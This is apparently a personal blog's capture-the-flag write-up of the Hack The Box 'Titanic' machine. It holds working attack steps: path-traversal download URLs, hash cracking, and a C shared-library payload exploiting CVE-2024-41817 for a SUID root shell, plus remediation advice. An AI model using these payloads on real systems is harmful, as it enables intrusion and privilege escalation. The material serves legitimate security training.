Hacking Insights by Max Bautista

Titanic writeup

Box name: Titanic

Difficulty: Easy

OS: Linux

Overview: Titanic is an easy difficulty Linux machine that features an Apache server listening on port 80. The website on port 80 advertises the amenities of the legendary Titanic ship and allows users to book trips. A second vHost is also identified after fuzzing, which points to a Gitea server. The Gitea server allows registrations, and exploration of the available repositories reveals some interesting information including the location of a mounted Gitea data folder, which is running via a Docker container. Back to the original website, the booking functionality is found to be vulnerable to an Arbitrary File Read exploit, and combining the directory identified from Gitea, it is possible to download the Gitea SQLite database locally. Said database contains hashed credentials for the developer user, which can be cracked. The credentials can then be used to login to the remote system over SSH. Enumeration of the file system reveals that a script in the /opt/scripts directory is being executed every minute. This script is running the magick binary in order to gather information about specific images. This version of magick is found to be vulnerable to an arbitrary code execution exploit assigned CVE-2024-41817. Successful exploitation of this vulnerability results in elevation of privileges to the root user.

Link: https://app.hackthebox.com/machines/Titanic?sort_by=created_at&sort_type=desc

Machine IP: 10.129.231.221

Ran rustscan against the machine.

rustscan -a 10.129.231.221 –ulimit 5000 -b 2000 — -A -Pn

Added titanic.htb to /etc/hosts. Checked out the webserver.

Ran feroxbuster for directory busting, ffuf to look for subdomains and vhosts.

feroxbuster -u http://titanic.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

ffuf -u http://titanic.htb -H “Host: FUZZ.titanic.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302,301

ffuf -u http://FUZZ.titanic.htb -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

Right away when fuzzing for vhosts I found dev.titanic.htb.

Added that to /etc/hosts and navigated to that.

It’s a Gitea instance, version at the bottom. Version 1.22.1

Ran directory busting here aswell.

feroxbuster -u http://dev.titanic.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

I was able to create a test account, test:testtest. Under /explore/users we can see other users.

Additionally we can see two repos from developer under /explore/repos.

In the flask-app it looks like this is the program that deals with the booking system on the original webpage.

Upon reading the code there is a mention of a /download endpoint that lets us download files.

Upon attempting to download I eventually realized we can download /etc/passwd by navigating to http://titanic.htb/download?ticket=../../../../etc/passwd.

We can also grab the git credentials by navigating to http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db. This gives us the database files and we can find the users and hashed password.

Saved the salted hash and cracked it with hashcat.

hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt

Developer:25282528

And I was able to ssh in with this account and grab user.txt.

Hosted a http server so I can move over winpeas.

sudo python3 -m http.server

curl http://10.10.16.27:8000/linpeas.sh -o linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

I wasn’t able to find anything fully interesting with the linpeas results. Eventually after a while of linux enumeration, I came across a identify_images.sh file that is running as root every minute. We can tell by /opt/app/static/assets/images/metadata.log updating.

In the file it’s running /usr/bin/magick. Checked the version of that. 

Upon researching this is vulnerable to CVE-2024-41817 https://github.com/Dxsk/CVE-2024-41817-poc/blob/main/exploit.py. Python isn’t on the victim machine so instead I copied the important parts of the exploit on the machine.

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
    system("cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash");
    exit(0);
}
EOF

Then after giving it some time I got a shell as root by running the rootbash.

/tmp/rootbash -p

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Added titanic.htb to /etc/hosts and browsed to the site which advertised a Titanic booking service. Ran feroxbuster and ffuf for directory busting and VHOST enumeration. Immediately found dev.titanic.htb. Added it to /etc/hosts and found a Gitea instance running version 1.22.1.

rustscan -a 10.129.231.221 –ulimit 5000 -b 2000 — -A -Pn ffuf -u http://titanic.htb -H “Host: FUZZ.titanic.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302,301

2 – Gitea enumeration and path disclosure Registered a test account on Gitea and explored public repositories under the developer user. Found a flask-app repository containing the source code for the booking website. Identified a /download endpoint in the code that served files from the filesystem based on a ticket parameter with no path validation.

3 – Arbitrary file read and Gitea database extraction Exploited the /download endpoint with path traversal to read /etc/passwd and confirm the vulnerability. Used the Gitea Docker volume path identified from the repository to download the Gitea SQLite database directly. Extracted the developer user’s salted password hash from the database and cracked it with Hashcat using rockyou.

http://titanic.htb/download?ticket=../../../../etc/passwd http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt

Credentials recovered: developer:25282528

4 – SSH access and user flag Authenticated via SSH as developer and retrieved user.txt.

5 – Privilege Escalation – ImageMagick shared library hijack – CVE-2024-41817 Ran LinPEAS and identified a root-owned cron script at /opt/scripts/identify_images.sh executing every minute. The script called /usr/bin/magick to process images in the static assets directory. Checked the magick version and found it vulnerable to CVE-2024-41817, a shared library loading vulnerability. Compiled a malicious libxcb.so.1 shared library in the image directory that copied bash and set the SUID bit when loaded. Waited for the cron job to execute and spawned a root shell using the SUID bash.

gcc -x c -shared -fPIC -o ./libxcb.so.1 – << ‘EOF’ /tmp/rootbash -p

Key Takeaways

1. Path traversal in the /download endpoint – CWE-22 – The ticket parameter was passed directly to a file read function with no path validation, allowing traversal to arbitrary files including the Gitea database. All file path inputs must be validated against a strict allowlist and must resolve to an explicitly approved directory. Directory traversal sequences must be rejected at the application level.
   
2. Gitea database path disclosed in public repository – The Docker volume mount path for the Gitea data directory was visible in the public repository, providing the exact path needed to extract the database via the LFI. Internal configuration details including volume paths and service locations must not be committed to any repository accessible to untrusted users.
   
3. Gitea user password hash crackable with rockyou – The developer password hash was cracked using the rockyou wordlist. Application user passwords must meet complexity requirements that resist offline cracking and Gitea must enforce a strong password policy for all user accounts.
   
4. Weak password on a developer account with server access – The developer password 25282528 was a simple numeric string easily cracked from a hash. Developer and service accounts with SSH access must use strong randomly generated passwords or key-based authentication exclusively.
   
5. ImageMagick CVE-2024-41817 exploitable via cron-executed script – CVSS 7.8 High – The magick binary loaded shared libraries from the current working directory before system paths, allowing a malicious library placed in the image processing directory to execute as root when the cron job ran. Binaries used in privileged scripts must be kept fully patched and scripts must set a safe working directory before invoking any binary susceptible to shared library hijacking.
   

Remediation

[Immediate] Remediate the path traversal vulnerability in the /download endpoint – CWE-22 Rewrite the download handler to resolve the requested file path and verify it falls within an explicitly approved base directory before serving it. Reject any path containing traversal sequences. Conduct a full code review of the flask application for additional file read or write operations accepting user input.

[Immediate] Patch ImageMagick to remediate CVE-2024-41817 (CVSS 7.8 High) Update ImageMagick to the latest patched version immediately. Set an explicit safe working directory in the identify_images.sh script using cd /safe/path before invoking magick and ensure no user-writable directories are in the library search path during execution. Restrict write access to the image processing directory to root only.

[Immediate] Restrict the Gitea repository visibility and remove sensitive path disclosures Audit all public Gitea repositories for configuration data, volume paths, connection strings, and internal service locations. Remove any findings and restrict the developer repositories to authenticated users only. Disable public repository browsing unless there is an explicit operational requirement.

[Immediate] Rotate the developer account password and enforce SSH key authentication Rotate the developer SSH password immediately. Enforce key-based SSH authentication for all developer and service accounts and disable password-based SSH login. Require the use of strong passphrases on all SSH private keys.

[Short-term] Restrict cron script execution directories and file permissions Audit all scripts executed by root cron jobs and verify that the working directory and all processed paths are not writable by non-root users. Set strict permissions on /opt/scripts and the image processing directory. Implement file integrity monitoring on cron-executed scripts to alert on unauthorized modifications.

[Long-term] Implement a source code security review baseline for all web applications Define a secure development standard requiring code review of all file serving endpoints for path traversal vulnerabilities before deployment. Integrate SAST tooling into the CI/CD pipeline to detect CWE-22 patterns automatically. Include all internally developed web applications and Gitea repositories in regular security assessments.